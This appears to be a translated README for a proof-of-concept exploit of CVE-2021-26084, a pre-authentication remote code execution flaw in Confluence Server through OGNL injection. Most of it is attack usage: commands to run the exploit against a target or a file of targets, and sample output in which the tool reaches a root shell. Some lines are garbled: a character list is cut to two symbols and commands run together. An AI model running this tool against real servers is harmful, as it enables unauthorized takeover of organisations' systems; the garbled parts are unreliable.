CVE-2021-26084 的概念验证。
Confluence Server Webwork OGNL 注入(预认证 RCE)
本工具仅供教育目的使用。本人不对你的行为负责。请自行斟酌使用。
由于 payload 限制,某些字符无法传入。以下列表是我在测试中发现的。
"| go run exploit.go -t <target> -i
示例
root@localhost:/# go run exploit.go -t http://localhost:8090 -i
CVE-2021-26084 - Confluence Server Webwork OGNL injection
Made by Tay (https://github.com/taythebot)
time="2021-09-02T00:29:37+09:00" level=info msg="Checking if https://localhost:8090 is vulnerable"
time="2021-09-02T00:29:39+09:00" level=info msg="Target https://localhost:8090 is vulnerable"
root@confluence:/# whoami
root
root@confluence:/# exit
Exiting interactive mode, goodbye
exit 退出交互式 Shellgo run exploit.go -t <target> -c <command>
go run exploit.go -f <file> -c <command>
go mod download
go build exploit.go